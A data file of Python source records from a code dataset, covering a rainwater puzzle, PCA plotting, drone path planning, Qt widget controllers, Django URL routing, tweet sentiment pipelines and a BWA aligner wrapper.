+{"seq_id":"536690586","text":"#!/usr/bin/python3\n\"\"\"\n Given a list of non-negative integers representing walls of width 1,\n calculate how much water will be retained after it rains.\n\"\"\"\n\n\ndef retained_water(r, d):\n \"\"\"\n retained_watter - calculate how much water will be retained\n @r: list of retainers\n @d: 0 from left to righ. 1 from right to left\n \"\"\"\n minV = -1\n num_values_between = 0\n sum_values_between = 0\n ret_water = 0\n i = 0\n while i < len(r):\n if r[i] > 0 and minV < 0:\n minV = r[i]\n elif minV > 0 and r[i] < minV:\n num_values_between += 1\n sum_values_between += r[i]\n elif minV > 0 and ((not d and r[i] >= minV) or (d and r[i] > minV)):\n if num_values_between > 0:\n ret_water += (num_values_between * minV)\n ret_water -= sum_values_between\n num_values_between = 0\n sum_values_between = 0\n minV = r[i]\n i += 1\n return ret_water\n\n\ndef rain(walls):\n \"\"\"\n rain - calculate how much water will be retained after it rains\n @walls: list of retainers\n \"\"\"\n if not walls:\n return 0\n return retained_water(walls, 0) + retained_water(walls[::-1], 1)\n","sub_path":"0x10-rain/0-rain.py","file_name":"0-rain.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"600063485","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits.mplot3d import proj3d\n\nmu_vec1 = np.array([0,0,0])\ncov_mat1 = np.array([[1,0,0],[0,1,0],[0,0,1]])\nclass1_sample = np.random.multivariate_normal(mu_vec1, cov_mat1, 20).T\n\nmu_vec2 = np.array([1,1,1])\ncov_mat2 = np.array([[1,0,0],[0,1,0],[0,0,1]])\nclass2_sample = np.random.multivariate_normal(mu_vec2, cov_mat2, 20).T\n\nfig = plt.figure(figsize=(8,8))\nax = fig.add_subplot(111, projection='3d')\nplt.rcParams['legend.fontsize'] = 10\nax.plot(class1_sample[0,:], class1_sample[1,:], class1_sample[2,:], 'o', markersize=8, color='blue', alpha=0.5, label='class1')\nax.plot(class2_sample[0,:], class2_sample[1,:], class2_sample[2,:], '^', markersize=8, alpha=0.5, color='red', label='class2')\n\nplt.title('Samples for class 1 and class 2')\nax.legend(loc='upper right')\n\nplt.show()\n\nall_samples = np.concatenate((class1_sample, class2_sample), axis=1)\nmean_x=np.mean(all_samples[0,:])\nmean_y=np.mean(all_samples[1,:])\nmean_z=np.mean(all_samples[2,:])\nmean_vector = np.array([[mean_x],[mean_y],[mean_z]])\nscatter_matrix = np.zeros((3,3))\nfor i in range(all_samples.shape[1]):\n scatter_matrix += (all_samples[:,i].reshape(3,1) - mean_vector).dot((all_samples[:,i].reshape(3,1) - mean_vector).T)\n\ncov_mat = np.cov([all_samples[0,:],all_samples[1,:],all_samples[2,:]])\neig_val_sc, eig_vec_sc = np.linalg.eig(scatter_matrix)\neig_val_cov, eig_vec_cov = np.linalg.eig(cov_mat)\n\norder=np.argsort(-eig_val_cov)\nprint(order)\neigh=eig_vec_cov[:,order[0]].reshape([1,3]).T\nmatrix_w_2d = np.hstack((eig_vec_cov[:,order[0]].reshape(3,1), eig_vec_cov[:,order[1]].reshape(3,1)))\ntransformed = np.dot(matrix_w_2d.T,all_samples)\n\nmatrix_w_1d= eig_vec_cov[:,order[0]].reshape(3,1)\ntransformed_1d=np.dot(matrix_w_1d.T,all_samples)\n\nprint(eig_val_cov,np.argsort(-eig_val_cov))\nprint(eig_vec_cov)\nprint(eigh)\nprint(matrix_w_2d)\nprint(transformed.shape)\nprint(matrix_w_1d)\nprint(transformed_1d.shape)\n\n\nplt.plot(transformed[0,0:20], transformed[1,0:20], 'o', markersize=7, color='blue', alpha=0.5, label='class1')\nplt.plot(transformed[0,20:40], transformed[1,20:40], '^', markersize=7, color='red', alpha=0.5, label='class2')\n\nplt.xlim([-4,4])\nplt.ylim([-4,4])\nplt.xlabel('x_values')\nplt.ylabel('y_values')\nplt.legend()\nplt.title('Transformed samples with class labels')\n\nplt.show()\n\nplt.plot(transformed_1d[0,0:20], 'o', markersize=7, color='blue', alpha=0.5, label='class1')\nplt.plot(transformed_1d[0,20:40], '^', markersize=7, color='red', alpha=0.5, label='class2')\n\nplt.xlim([-4,4])\nplt.xlabel('x_values')\nplt.legend()\nplt.title('Transformed samples with class labels')\nplt.show()","sub_path":"PCA_test.py","file_name":"PCA_test.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"266770575","text":"import sys\nimport coordinate\nimport mission\nimport path\nimport file_parser\n\npath_info = {'turn_radius' : 5, \\\n 'path_cushine' : 20, \\\n 'boundary_cushine' : 20, \\\n 'pt_distance' : 10}\n\ndef main():\n # Read the File\n filename = 'data.csv'\n (op_area, search_area, waypoints_list) = file_parser.read_file(filename)\n\n m1 = mission.Mission()\n f1 = mission.Fence()\n\n # Given a takeoff point\n takeoff_pt = coordinate.GeoCoord(38.145495, -76.428166, 200)\n item1 = mission.MissionItem(takeoff_pt, 22)\n m1.add_mission_item(item1)\n\n # Generate path to go over waypts\n waypt_path = path.generate_waypt_path(path_info, takeoff_pt, waypoints_list, op_area)\n for pt in waypt_path:\n item1 = mission.MissionItem(pt, 16)\n m1.add_mission_item(item1)\n\n # Generate search path within search_area\n search_area_path = []\n #search_area_path = path.generate_search_path(path_info, waypt_path[-1], search_area, op_area, 30)\n search_area_path = path.generate_search_path_spiral(path_info, waypt_path[-1], search_area, op_area, 30)\n for pt in search_area_path:\n item1 = mission.MissionItem(pt, 16)\n m1.add_mission_item(item1)\n\n # Add Landing point, assume to be takeoff point as well\n item1 = mission.MissionItem(takeoff_pt, 21)\n m1.add_mission_item(item1)\n\n # Generate Fence from the operational area\n for pt in op_area:\n f1.add_boundary_point(pt)\n\n # Output the mission into file\n f = open('output.mission', 'w')\n f.write(str(m1))\n f.close()\n\n # Output the fence into file\n f = open('output.fence', 'w')\n f.write(str(f1))\n f.close()\n\n\n\n\nmain()\n","sub_path":"flight_path_python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"511698315","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/taurus/qt/qtgui/base/tauruscontroller.py\n# Compiled at: 2019-08-19 15:09:29\n\"\"\"This module provides the set of base class taurus controllers.\"\"\"\nfrom builtins import str\nfrom builtins import object\nimport weakref\nfrom taurus.external.qt import Qt\nfrom taurus.core.taurusbasetypes import DataFormat, TaurusEventType\nfrom taurus.qt.qtgui.util import QT_ATTRIBUTE_QUALITY_PALETTE\nfrom taurus.qt.qtgui.util import QT_DEVICE_STATE_PALETTE\n__all__ = [\n 'TaurusBaseController', 'TaurusAttributeControllerHelper',\n 'TaurusScalarAttributeControllerHelper',\n 'TaurusConfigurationControllerHelper',\n 'updateLabelBackground']\n__docformat__ = 'restructuredtext'\n\nclass TaurusBaseController(object):\n \"\"\"Base class for all taurus controllers\"\"\"\n\n def __init__(self, widget, updateAsPalette=True):\n self._widget = weakref.ref(widget)\n self._updateAsPalette = updateAsPalette\n self._stateObj = None\n self._last_value = None\n self._last_config_value = None\n self._last_error_value = None\n self._setStyle()\n return\n\n def _setStyle(self):\n pass\n\n def usePalette(self):\n return self._updateAsPalette\n\n def widget(self):\n return self._widget()\n\n def modelObj(self):\n return self.widget().getModelObj()\n\n attrObj = configObj = deviceObj = modelObj\n\n def valueObj(self):\n value = self._last_value\n if value is None:\n modelObj = self.modelObj()\n if modelObj is None:\n return\n value = modelObj.getValueObj()\n return value\n\n def value(self):\n valueObj = self.valueObj()\n return getattr(valueObj, 'value', None)\n\n def w_value(self):\n valueObj = self.valueObj()\n return getattr(valueObj, 'w_value', None)\n\n def quality(self):\n valueObj = self.valueObj()\n return getattr(valueObj, 'quality', None)\n\n def state(self):\n return self._stateObj.state\n\n def getDisplayValue(self, write=False):\n return self.widget().getDisplayValue()\n\n def handleEvent(self, evt_src, evt_type, evt_value):\n if evt_src == self.modelObj():\n if evt_type in (TaurusEventType.Change, TaurusEventType.Periodic):\n if self._last_value is None:\n self.widget().resetFormat()\n self._last_value = evt_value\n elif evt_type == TaurusEventType.Config:\n self._last_config_value = evt_value\n self.widget().resetFormat()\n else:\n self._last_error_value = evt_value\n try:\n self._last_value = self.modelObj().getValueObj()\n except:\n self._last_value = None\n\n self.update()\n return\n\n def eventReceived(self, evt_src, evt_type, evt_value):\n w = self.widget()\n if w is not None:\n w.eventReceived(evt_src, evt_type, evt_value)\n return\n\n def update(self):\n widget = self.widget()\n self._updateConnections(widget)\n self._updateForeground(widget)\n self._updateBackground(widget)\n self._updateToolTip(widget)\n\n def _needsStateConnection(self):\n return False\n\n def _updateConnections(self, widget):\n stateObj, newStateObj = self._stateObj, None\n if self._needsStateConnection():\n newStateObj = self.deviceObj()\n if stateObj != newStateObj:\n if stateObj is not None:\n stateObj.removeListener(self)\n if newStateObj is not None:\n newStateObj.addListener(self)\n elif stateObj is not None:\n stateObj.removeListener(self)\n self._stateObj = newStateObj\n return\n\n def _updateForeground(self, widget):\n pass\n\n def _updateBackground(self, widget):\n pass\n\n def _updateToolTip(self, widget):\n if widget.getAutoTooltip():\n widget.setToolTip(widget.getFormatedToolTip())\n\n\nclass TaurusAttributeControllerHelper(object):\n\n def configObj(self):\n return self.attrObj()\n\n def deviceObj(self):\n attrObj = self.attrObj()\n if attrObj is None:\n return\n else:\n return attrObj.getParentObj()\n\n\nclass TaurusScalarAttributeControllerHelper(TaurusAttributeControllerHelper):\n\n def getDisplayValue(self, write=False):\n valueObj = self.valueObj()\n widget = self.widget()\n if valueObj is None or valueObj.rvalue is None:\n return widget.getDisplayValue()\n else:\n format = self.attrObj().data_format\n if format == DataFormat._0D:\n return self._getDisplayValue(widget, valueObj, None, write)\n idx = widget.getModelIndexValue()\n return self._getDisplayValue(widget, valueObj, idx, write)\n\n def _getDisplayValue(self, widget, valueObj, idx, write):\n try:\n if write:\n value = valueObj.wvalue\n else:\n value = valueObj.rvalue\n if idx is not None and len(idx):\n for i in idx:\n value = value[i]\n\n return widget.displayValue(value)\n except Exception as e:\n return widget.getNoneValue()\n\n return\n\n def displayValue(self, value):\n if value is None:\n return\n else:\n ret = None\n try:\n if self.isScalar():\n format = self.getFormat()\n if self.isNumeric() and format is not None:\n format = self.getFormat()\n ret = self.getFormat() % value\n else:\n ret = str(value)\n elif self.isSpectrum():\n ret = str(value)\n else:\n ret = str(value)\n except:\n raise\n ret = str(value)\n\n return ret\n\n\nclass TaurusConfigurationControllerHelper(object):\n\n def __init__(self):\n self._configParam = None\n return\n\n def attrObj(self):\n return self.configObj()\n\n def deviceObj(self):\n attrObj = self.attrObj()\n if attrObj is None:\n return\n else:\n return attrObj.getParentObj()\n\n @property\n def configParam(self):\n if self._configParam is None:\n self._configParam = self.widget().modelFragmentName or ''\n return self._configParam\n\n def getDisplayValue(self, write=False):\n widget = self.widget()\n model = self.configObj()\n if model is None:\n return widget.getNoneValue()\n else:\n param = self.configParam\n try:\n val = widget.getModelFragmentObj()\n try:\n no_val = getattr(model, 'no_' + param)\n if val.lower() == no_val.lower():\n val = widget.getNoneValue()\n except:\n pass\n\n except AttributeError:\n if param:\n val = str(param)\n attr = self.attrObj()\n if attr is not None:\n val = val.replace('', attr.label or '---')\n val = val.replace('', attr.name or '---')\n val = val.replace('', attr.getFullName() or '---')\n dev = self.deviceObj()\n if dev is not None:\n val = val.replace('', dev.getFullName() or '---')\n val = val.replace('', dev.getSimpleName() or '---')\n val = val.replace('', dev.getNormalName() or '---')\n else:\n val = widget.getNoneValue()\n except:\n widget.debug(\"Invalid configuration parameter '%s'\" % param)\n val = widget.getNoneValue()\n\n if val is None:\n val = widget.getNoneValue()\n return val\n\n\nStyleSheetTemplate = 'border-style: outset; border-width: 2px; border-color: {0}; {1}'\n\ndef _updatePaletteColors(widget, bgBrush, fgBrush, frameBrush):\n qt_palette = widget.palette()\n qt_palette.setBrush(Qt.QPalette.Window, bgBrush)\n qt_palette.setBrush(Qt.QPalette.Base, bgBrush)\n qt_palette.setBrush(Qt.QPalette.WindowText, fgBrush)\n qt_palette.setBrush(Qt.QPalette.Light, frameBrush)\n qt_palette.setBrush(Qt.QPalette.Dark, frameBrush)\n widget.setPalette(qt_palette)\n\n\ndef updateLabelBackground(ctrl, widget):\n \"\"\"Helper method to setup background of taurus labels and lcds\"\"\"\n bgRole = widget.bgRole\n if ctrl.usePalette():\n widget.setAutoFillBackground(True)\n if bgRole in ('', 'none', 'None'):\n transparentBrush = Qt.QBrush(Qt.Qt.transparent)\n frameBrush = transparentBrush\n bgBrush, fgBrush = transparentBrush, Qt.QBrush(Qt.Qt.black)\n else:\n frameBrush = Qt.QBrush(Qt.QColor(255, 255, 255, 128))\n bgItem, palette = None, QT_DEVICE_STATE_PALETTE\n if bgRole == 'quality':\n palette = QT_ATTRIBUTE_QUALITY_PALETTE\n bgItem = ctrl.quality()\n elif bgRole == 'state':\n bgItem = ctrl.state()\n elif bgRole == 'value':\n bgItem = ctrl.value()\n else:\n modelObj = widget.getModelObj()\n try:\n bgItem = modelObj.getFragmentObj(bgRole)\n except:\n widget.warning('Invalid bgRole \"%s\"', bgRole)\n\n bgBrush, fgBrush = palette.qbrush(bgItem)\n _updatePaletteColors(widget, bgBrush, fgBrush, frameBrush)\n else:\n if bgRole in ('', 'none', 'None'):\n ss = StyleSheetTemplate.format('rgba(0,0,0,0)', '')\n else:\n bgItem, palette = None, QT_DEVICE_STATE_PALETTE\n if bgRole == 'quality':\n palette = QT_ATTRIBUTE_QUALITY_PALETTE\n bgItem = ctrl.quality()\n elif bgRole == 'state':\n bgItem = ctrl.state()\n elif bgRole == 'value':\n bgItem = ctrl.value()\n else:\n modelObj = widget.getModelObj()\n try:\n bgItem = modelObj.getFragmentObj(bgRole)\n except:\n widget.warning('Invalid bgRole \"%s\"', bgRole)\n\n color_ss = palette.qtStyleSheet(bgItem)\n ss = StyleSheetTemplate.format('rgba(255,255,255,128)', color_ss)\n widget.setStyleSheet(ss)\n widget.update()\n return","sub_path":"pycfiles/taurus-4.6.1-py2.7/tauruscontroller.py","file_name":"tauruscontroller.py","file_ext":"py","file_size_in_byte":10908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"61672043","text":"print(\"Armstrong number checker(within interval)\")\nprint(\"**Here you can check Armstrong numbers available within your desired interval**\")\nno_range = list(map(int,input('Enter range').split()))\n\nprint(\"Armstrong numbers between\",no_range[0],\"&\",no_range[1],\"is: \\n\")\nfor num in range(no_range[0], no_range[1] + 1):\n # initialize sum\n sum = 0\n temp = num\n while temp > 0:\n digit = temp % 10\n sum += digit ** 3\n temp //= 10\n if sum == num:\n print(num)\n","sub_path":"Python/Armstrong.py","file_name":"Armstrong.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"85984871","text":"\"\"\"my_blog URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.10/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URL conf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\nimport articles.views\n\nurlpatterns = [\n url(r'^everything_is_happening_in_the_best_way/', admin.site.urls),\n url(r\"^articles/\", include(\"articles.urls\")),\n url(r\"^gitbook_notes/\", include(\"gitbook_notes.urls\")),\n url(r\"^work_journal/\", include(\"work_journal.urls\")),\n url(r\"^just_eating/\", include(\"just_eating.urls\")),\n url(r'^$', articles.views.home_view, name='home'),\n url(r\"^search/search_type=(?P\\S+)$\", articles.views.blog_search, name=\"search\"),\n]\n","sub_path":"my_blog/my_blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"207009887","text":"import numpy as np\n\n\ndef mark_label_on_pathways(name, pid, pw_map, gene_id_list, label=1):\n \"\"\"Marks given genes to the pathways\n\n Parameters\n ----------\n name: str\n pid: int\n patient id\n pw_map: map of networkx graphs of pathways\n patient label mapping\n gene_id_list: list of list of string\n uniprot gene id list of genes\n label: int\n the label which will be assigned to found genes in pathways - default value is 1\n \"\"\"\n label_field = 'label-{}'.format(name)\n gene_ids = [uid for a in gene_id_list for uid in a]\n for pw in pw_map.values(): # for each pathway\n for n in pw.nodes():\n nd = pw.nodes[n]\n if label_field not in nd: pw.add_node(n, **{label_field: {}})\n if np.any([g in nd['uniprotids'] for g in gene_ids]):\n nd[label_field][pid] = label\n","sub_path":"label_mapper.py","file_name":"label_mapper.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"522491578","text":"class ARConfig:\n \"\"\"The arpy paramater configuration object\"\"\"\n\n def __init__(self, allowed, metric, div):\n \"\"\"Bind in all parameters\"\"\"\n self._allowed = allowed\n self.original_allowed = allowed\n self._metric = self._convert_metric(metric)\n self.original_metric = metric\n self.division_type = div\n\n # Generate the config and bind to the calling scope\n self.update_config()\n # update_env in the __init__\n\n def __eq__(self, other):\n return all(\n [\n isinstance(other, ARConfig),\n self._metric == other._metric,\n self._allowed == other._allowed,\n self.division_type == other.division_type,\n ]\n )\n\n def __repr__(self):\n metric = \"\".join(\"+\" if m == 1 else \"-\" for m in self.metric)\n allowed = \",\".join(self.allowed)\n return f\"[{metric} / {self.division_type}] {allowed}\"\n\n def __details(self):\n metric = \"\".join(\"+\" if m == 1 else \"-\" for m in self.metric)\n allowed = \"{α\" + \", α\".join(self.allowed) + \"}\"\n return (\n \"Config Details:\\n\"\n \"===============\\n\"\n \"Allowed Alphas: {}\\n\"\n \"Metric: {}\\n\"\n \"Division type: {}\"\n ).format(allowed, metric, self.division_type)\n\n def reset(self):\n \"\"\"Reset the metric and allowed to their default values\"\"\"\n self.allowed = self.original_allowed\n self.metric = self.original_metric\n self.update_config()\n self.update_env(lvl=3) # See arpy __init__ for details\n\n def _convert_metric(self, signs):\n \"\"\"Convert the supplied metric to a tuple of ints\"\"\"\n if all(sign in [\"+\", \"-\"] for sign in signs):\n if len(signs) != 4:\n raise ValueError(\n \"metric should be a 4 element string.\\n\" \"i.e. 'ar.metric = \\\"+---\\\"'\"\n )\n metric = tuple(1 if s == \"+\" else -1 for s in signs)\n elif all(sign in [1, -1] for sign in signs):\n if len(signs) != 4:\n raise ValueError(\"Metric should be a 4-tuple of 1/-1\")\n metric = signs\n else:\n raise ValueError('Invalid metric: {}\\nValid examples: \"+---\", \"(1,-1,-1,-1)\"')\n\n return metric\n\n @property\n def metric(self):\n return self._metric\n\n @metric.setter\n def metric(self, signs):\n self._metric = self._convert_metric(signs)\n self.update_config()\n self.update_env(lvl=3) # See arpy __init__ for details\n\n @property\n def allowed(self):\n return self._allowed\n\n @allowed.setter\n def allowed(self, allowed):\n if len(allowed) != 16:\n raise ValueError(\"Must provide all 16 elements for allowed\")\n if not all([set(c).issubset(set(\"p0123\")) for c in allowed]):\n raise ValueError(\"Invalid indices for allowed: {}\".format(allowed))\n\n self._allowed = allowed\n self.update_config()\n self.update_env(lvl=3) # See arpy __init__ for details\n\n def update_config(self):\n \"\"\"\n Define algebra level data and mappings.\n NOTE: The ARConfig class is extended to include an `update_env` method\n in the main __init__.py.\n \"\"\"\n self._h = [a for a in self._allowed if len(a) == 3 and \"0\" not in a][0]\n self._q = [a for a in self._allowed if len(a) == 4][0]\n self._B = [a for a in self._allowed if len(a) == 2 and \"0\" not in a]\n self._T = [a for a in self._allowed if len(a) == 3 and \"0\" in a]\n self._A = [a for a in self._allowed if len(a) == 1 and a not in \"p0\"]\n self._E = [a for a in self._allowed if len(a) == 2 and \"0\" in a]\n\n # Fast lookup of zet components in {e,x,y,z} order\n _dims = \"e x y z\".split()\n self.zet_comps = {\n \"B\": dict(zip(_dims, [\"p\"] + self._B)),\n \"T\": dict(zip(_dims, [\"0\"] + self._T)),\n \"A\": dict(zip(_dims, [self._h] + self._A)),\n \"E\": dict(zip(_dims, [self._q] + self._E)),\n }\n\n e_key = \"0i\" if self._E[0][0] == \"0\" else \"i0\"\n\n # How the 3-vector components are grouped and under what names\n # TODO: Have a way to dynamically alter these names?\n self.xi_groups = {\"i\": self._A, e_key: self._E, \"jk\": self._B, \"0jk\": self._T}\n\n self.group_to_zet = {\"jk\": \"B\", \"i\": \"A\", \"0jk\": \"T\", e_key: \"E\"}\n\n # Names to group the results of calculations under: scalars & 3-vectors\n self.allowed_groups = [\"p\", \"0\", \"123\", \"0123\"] + [g for g in self.xi_groups.keys()]\n\n\n# The labelling and ordering of the 16 elements of the algebra.\n# NOTE:: The order will affect the visualisation of the Cayley Table\n# but not the results of finding products.\n_B = [\"p\", \"23\", \"31\", \"12\"] # ΞB :: Magnetic Field and rest mass\n_T = [\"0\", \"023\", \"031\", \"012\"] # ΞΤ :: Angular-Momentum/Charge density\n_A = [\"123\", \"1\", \"2\", \"3\"] # ΞΑ :: Current Density and hedgehog\n_E = [\"0123\", \"01\", \"02\", \"03\"] # ΞE :: Electric Field and dual rest mass\nallowed = _B + _T + _A + _E\n\n# The space-time metric that will be used\nmetric = (1, -1, -1, -1)\n\nconfig = ARConfig(allowed, metric, \"into\")\n","sub_path":"arpy/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":5224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"304047421","text":"from django.conf.urls import url\nfrom .views import *\nurlpatterns =(\n url(r'^$', view=create_user, name='create_user'),\n url(r'^log_in/$', view=log_in, name='log_in'),\n url(r'^auth_view/$',view=auth_view, name='auth_view'),\n url(r'^logged_in/$',view=logged_in, name='logged_in'),\n url(r'^logout/$',view=logout, name='log_out'),\n\n)\n","sub_path":"account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"178342873","text":"import os\nimport json\nfrom pandas.io.json import json_normalize\n\n\nclass DefaultPipeline(object):\n\n def __init__(self, analyser=None, storage_strategy=None, geocoder=None):\n '''\n @analyser: instance of an tweetAnalyser\n '''\n self.analyser = analyser()\n self.item = {}\n self.storage_strategy = storage_strategy\n self.geocoder = geocoder\n self.tweet = None\n\n def analyse(self):\n self.analyser.analyse(self.tweet['text'])\n if self.analyser.sentiment < 0:\n self.item[\"sentiment\"] = \"negatif\"\n elif self.analyser.sentiment == 0:\n self.item[\"sentiment\"] = \"neutre\"\n else:\n self.item[\"sentiment\"] = \"positif\"\n\n def fetchTweetAttributs(self, tweetAttrs):\n '''Take kwargs representing attributs from the api twitter'''\n tweetAttrs = json.loads(tweetAttrs)\n if self.geocoder:\n for a in tweetAttrs:\n if a == 'user.location':\n g = self.geocoder(\n self.tweet['user.location'], key=os.getenv('GEOCODE_TOKEN'))\n g = g.json\n try:\n if g['lat'] or g['lng'] is not None:\n self.item[\"user.location\"] = {\n \"lat\": g['lat'], \"lon\": g['lng']}\n else:\n self.item[\"user.location\"] = {\"lat\": 0, \"lon\": 0}\n except:\n self.item[\"user.location\"] = {\"lat\": 0, \"lon\": 0}\n pass\n else:\n self.item[a] = self.tweet[a]\n\n else:\n for a in tweetAttrs:\n self.item[a] = self.tweet[a]\n\n def flatten_dict(self, dic):\n return json.loads(json_normalize(\n dic).to_json(orient='records'))[0]\n\n def ingest(self, tweet):\n '''sending data to the strategy storage'''\n self.tweet = self.flatten_dict(tweet)\n self.analyse()\n self.fetchTweetAttributs(os.getenv('TWEETS_ATTRS'))\n self.storage_strategy.send(self.item)\n","sub_path":"python/file/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"601665726","text":"'''\n The BWA aligner.\n\n'''\n\nimport logging\nimport os\nimport os.path\nimport subprocess\n\nimport tools\nimport tools.samtools\nimport tools.picard\nimport util.file\nimport util.misc\n\nTOOL_NAME = 'bwa'\nTOOL_VERSION = '0.7.15'\n\nlog = logging.getLogger(__name__)\n\n\nclass Bwa(tools.Tool):\n\n def __init__(self, install_methods=None):\n if install_methods is None:\n install_methods = [tools.CondaPackage(TOOL_NAME, version=TOOL_VERSION)]\n tools.Tool.__init__(self, install_methods=install_methods)\n\n def version(self):\n return TOOL_VERSION\n\n def execute(self, command, args, stdout=None): # pylint: disable=W0221\n tool_cmd = [self.install_and_get_path(), command] + args\n log.debug(' '.join(tool_cmd))\n if stdout:\n stdout = open(stdout, 'w')\n subprocess.check_call(tool_cmd, stdout=stdout)\n if stdout:\n stdout.close()\n\n def index(self, inFasta, output=None, algorithm=None):\n cmd = []\n if algorithm is not None:\n if algorithm not in ('is', 'bwtsw'):\n raise NameError(algorithm + \" is not a recognized algorithm\")\n cmd.extend(('-a', algorithm))\n if output:\n cmd.extend(('-p', output))\n cmd.append(inFasta)\n self.execute('index', cmd)\n\n def align_mem_bam(self, inBam, refDb, outBam, options=None, min_qual=30, threads=None, JVMmemory=None):\n options = options or []\n\n samtools = tools.samtools.SamtoolsTool()\n\n # fetch list of RGs\n rgs = list(samtools.getReadGroups(inBam).keys())\n\n if len(rgs) == 0:\n # Can't do this\n raise InvalidBamHeaderError(\"{} lacks read groups\".format(inBam))\n\n elif len(rgs) == 1:\n # Only one RG, keep it simple\n self.align_mem_one_rg(inBam, refDb, outBam, options=options, min_qual=min_qual, threads=threads)\n\n else:\n # Multiple RGs, align one at a time and merge\n align_bams = []\n for rg in rgs:\n tmp_bam = util.file.mkstempfname('.{}.bam'.format(rg))\n self.align_mem_one_rg(\n inBam,\n refDb,\n tmp_bam,\n rgid=rg,\n options=options,\n min_qual=min_qual,\n threads=threads\n )\n if os.path.getsize(tmp_bam) > 0:\n align_bams.append(tmp_bam)\n\n # Merge BAMs, sort, and index\n tools.picard.MergeSamFilesTool().execute(\n align_bams,\n outBam,\n picardOptions=['SORT_ORDER=coordinate', 'USE_THREADING=true', 'CREATE_INDEX=true'],\n JVMmemory=JVMmemory\n )\n for bam in align_bams:\n os.unlink(bam)\n\n\n def align_mem_one_rg(self, inBam, refDb, outBam, rgid=None, options=None, min_qual=30, threads=None, JVMmemory=None):\n \"\"\"\n Performs an alignment of one read group in a bam file to a reference fasta file\n\n TODO: With the addition of a third aligner to viral-ngs, the functionality\n common to this method and to the comparable method in the Novoalign wrapper should\n be broken out as an \"aligner\" superclass, capable of aligning bam or fastq files with an arbitrary\n aligner, while preserving read groups. \n \"\"\"\n options = options or []\n\n samtools = tools.samtools.SamtoolsTool()\n\n # Require exactly one RG\n rgs = samtools.getReadGroups(inBam)\n if len(rgs) == 0:\n raise InvalidBamHeaderError(\"{} lacks read groups\".format(inBam))\n elif len(rgs) == 1:\n if not rgid:\n rgid = list(rgs.keys())[0]\n elif not rgid:\n raise InvalidBamHeaderError(\"{} has {} read groups, but we require exactly one\".format(inBam, len(rgs)))\n if rgid not in rgs:\n raise InvalidBamHeaderError(\"{} has read groups, but not {}\".format(inBam, rgid))\n\n headerFile = util.file.mkstempfname('.{}.header.txt'.format(rgid))\n # Strip inBam to just one RG (if necessary)\n removeInput = False\n if len(rgs) == 1:\n one_rg_inBam = inBam\n tools.samtools.SamtoolsTool().dumpHeader(one_rg_inBam, headerFile)\n else:\n # strip inBam to one read group\n tmp_bam = util.file.mkstempfname('.onebam.bam')\n samtools.view(['-b', '-r', rgid], inBam, tmp_bam)\n # special exit if this file is empty\n if samtools.count(tmp_bam) == 0:\n return\n # simplify BAM header otherwise Novoalign gets confused\n one_rg_inBam = util.file.mkstempfname('.{}.in.bam'.format(rgid))\n removeInput = True\n \n with open(headerFile, 'wt') as outf:\n for row in samtools.getHeader(inBam):\n if len(row) > 0 and row[0] == '@RG':\n if rgid != list(x[3:] for x in row if x.startswith('ID:'))[0]:\n # skip all read groups that are not rgid\n continue\n outf.write('\\t'.join(row) + '\\n')\n samtools.reheader(tmp_bam, headerFile, one_rg_inBam)\n os.unlink(tmp_bam)\n\n # perform actual alignment\n\n # get the read group line to give to BWA\n readgroup_line = \"\"\n with open(headerFile) as inf:\n for line in inf:\n if line.startswith(\"@RG\"):\n readgroup_line = line\n\n assert len(readgroup_line) > 0\n \n aln_bam_prefilter = util.file.mkstempfname('.prefiltered.bam')\n # rather than reheader the alignment bam file later so it has the readgroup information\n # from the original bam file, we'll pass the RG line to bwa to write out\n self.mem(one_rg_inBam, refDb, aln_bam_prefilter, options=options+['-R', readgroup_line.rstrip(\"\\n\").rstrip(\"\\r\")], min_qual=min_qual, threads=threads)\n\n # if there was more than one RG in the input, we had to create a temporary file with the one RG specified\n # and we can safely delete it this file\n # if there was only one RG in the input, we used it directly and should not delete it\n if removeInput:\n os.unlink(one_rg_inBam)\n\n # @haydenm says: \n # For some reason (particularly when the --sensitive option is on), bwa\n # doesn't listen to its '-T' flag and outputs alignments with score less\n # than the '-T 30' threshold. So filter these:\n if min_qual > 0:\n tmp_bam_aligned = util.file.mkstempfname('.aligned.bam')\n 